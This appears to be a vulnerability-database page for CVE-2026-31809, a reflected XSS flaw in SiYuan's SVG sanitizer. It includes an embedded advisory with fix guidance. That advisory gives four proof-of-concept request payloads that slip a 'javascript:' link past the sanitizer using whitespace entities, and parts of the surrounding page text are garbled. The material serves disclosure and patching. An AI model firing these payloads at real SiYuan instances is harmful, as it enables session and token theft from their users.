CVE-2026-31809: Github.com/siyuan note/siyuan/kernel Cross-Site Scripting Vulnerability
MODERATECVE-2026-31809 is a MODERATE cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/siyuan note/siyuan/kernel libraries in the Go ecosystem. The issue involves ` uri — unauthenticated xss. Remediation is available by upgrading affected packages to version 0.0.0-20260310025236-297bd526708f.
CVE-2026-31809 at a Glance
How to Fix CVE-2026-31809
To remediate this vulnerability, upgrade all affected Github.com/siyuan note/siyuan/kernel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260310025236-297bd526708f
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/siyuan-note/siyuan/kernel
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-31809, inspect your project dependencies for Github.com/siyuan note/siyuan/kernel:
inspect dependencies for github.com/siyuan-note/siyuan/kernel
Analyze the terminal output to locate any version of Github.com/siyuan note/siyuan/kernel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260310025236-297bd526708f), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/siyuan note/siyuan/kernel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-31809 Affected Github.com/siyuan note/siyuan/kernel Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/siyuan-note/siyuan/kernel
|
Go |
< 0.0.0-20260310025236-297bd526708f
|
0.0.0-20260310025236-297bd526708f
|
References
Frequently Asked Questions
What is CVE-2026-31809?
Which Github.com/siyuan note/siyuan/kernel versions are affected?
What version fixes CVE-2026-31809?
Is github.com/siyuan-note/siyuan/kernel affected?
What CWE is associated with CVE-2026-31809?
How can I check Go dependencies for CVE-2026-31809?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pmc9-f5qr-2pcr",
"modified" : "2026-03-10T23:57:56Z",
"published" : "2026-03-10T23:57:56Z",
"aliases" : [ "CVE-2026-31809" ],
"summary" : "SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS",
"details" : "# SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS\n\n## Summary\n\nSiYuan's SVG sanitizer (`SanitizeSVG`) checks `href` attributes for the `javascript:` prefix using `strings.HasPrefix()`. However, inserting ASCII tab (`	`), newline (` `), or carriage return (` `) characters inside the `javascript:` string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint, creating a reflected XSS.\n\nThis is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), [distinct from the `<animate>` element bypass](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27).\n\n## Affected Component\n\n- **File:** `kernel/util/misc.go`\n- **Function:** `SanitizeSVG()` (lines 234-319)\n- **Specific check:** Line 271 — `strings.HasPrefix(val, \"javascript:\")`\n- **Endpoint:** `GET /api/icon/getDynamicIcon?type=8&content=...` (unauthenticated)\n- **Version:** SiYuan <= 3.5.9\n\n## Root Cause\n\nThe sanitizer uses Go's `html.Parse` which decodes HTML entities in attribute values. When the input contains `java	script:alert(1)`, the parser decodes `	` to a literal tab character (U+0009). The sanitizer then checks:\n\n```go\nval := strings.TrimSpace(strings.ToLower(a.Val))\n// val is now \"java\\tscript:alert(1)\"\n\nif strings.HasPrefix(val, \"javascript:\") {\n continue // This check FAILS — tab breaks the prefix match\n}\n```\n\n`strings.TrimSpace` only removes leading/trailing whitespace, not internal whitespace. The `HasPrefix` check fails because `\"java\\tscript:...\"` does not start with `\"javascript:\"`.\n\nHowever, per the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses `java\\tscript:alert(1)` as `javascript:alert(1)`.\n\n## Proof of Concept\n\n### Vector 1: Tab character (`	`)\n\n```\nGET /api/icon/getDynamicIcon?type=8&content=</text><a href=\"java	script:alert(document.domain)\"><text x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\">Click me</text></a><text>&color=blue\n```\n\n### Vector 2: Newline character (` `)\n\n```\nGET /api/icon/getDynamicIcon?type=8&content=</text><a href=\"java script:alert(document.domain)\"><text x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\">Click me</text></a><text>&color=blue\n```\n\n### Vector 3: Carriage return (` `)\n\n```\nGET /api/icon/getDynamicIcon?type=8&content=</text><a href=\"java script:alert(document.domain)\"><text x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\">Click me</text></a><text>&color=blue\n```\n\n### Vector 4: Multiple whitespace characters\n\n```\nGET /api/icon/getDynamicIcon?type=8&content=</text><a href=\"j	a v a	s c r	i p t:alert(document.domain)\"><text x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\">Click me</text></a><text>&color=blue\n```\n\n### Processing trace\n\n1. **Input:** `<a href=\"java	script:alert(document.domain)\">`\n2. **html.Parse:** Decodes entity → attribute value = `java\\tscript:alert(document.domain)`\n3. **Sanitizer:** `TrimSpace(ToLower(val))` = `java\\tscript:alert(document.domain)` (tab preserved in middle)\n4. **HasPrefix check:** `\"java\\tscript:...\"` does NOT start with `\"javascript:\"` → **passes through**\n5. **html.Render:** Outputs literal tab character in href (tabs are not HTML-special)\n6. **Browser URL parser:** Strips tab per WHATWG URL spec → `javascript:alert(document.domain)`\n7. **User clicks link → JavaScript executes**\n\n## Attack Scenario\n\nSame as CVE-2026-29183 / advisory #01:\n1. Attacker crafts a malicious `getDynamicIcon` URL\n2. Victim navigates to the URL (or is redirected)\n3. SVG renders with `Content-Type: image/svg+xml`\n4. Victim clicks the text link in the SVG\n5. JavaScript executes in SiYuan's origin\n6. Attacker steals session cookies, API tokens, or makes authenticated API calls\n\n## Impact\n\n- **Severity:** CRITICAL (CVSS ~9.1)\n- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- Unauthenticated reflected XSS via SVG injection\n- Executes in the SiYuan application origin\n- Bypasses the fix for CVE-2026-29183\n- Independent of the `<animate>` element bypass (advisory #01) — different root cause\n\n## Suggested Fix\n\nReplace the simple `HasPrefix` check with whitespace-stripped comparison:\n\n```go\n// Strip ASCII tab, newline, CR before checking for javascript: prefix\ncleaned := strings.Map(func(r rune) rune {\n if r == '\\t' || r == '\\n' || r == '\\r' {\n return -1 // Remove character\n }\n return r\n}, val)\n\nif key == \"href\" || key == \"xlink:href\" || key == \"xlinkhref\" {\n if strings.HasPrefix(cleaned, \"javascript:\") {\n continue\n }\n if strings.HasPrefix(cleaned, \"data:\") {\n if strings.Contains(cleaned, \"text/html\") || strings.Contains(cleaned, \"image/svg+xml\") || strings.Contains(cleaned, \"application/xhtml+xml\") {\n continue\n }\n }\n}\n```\n\nThis should also be applied to the `data:` URI check, as the same whitespace bypass could potentially affect it.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/siyuan-note/siyuan/kernel"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.0-20260310025236-297bd526708f"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-pmc9-f5qr-2pcr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-31809"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/siyuan-note/siyuan"
}, {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/releases/tag/v3.5.10"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-10T23:57:56Z",
"nvd_published_at" : "2026-03-10T21:16:50Z"
}
}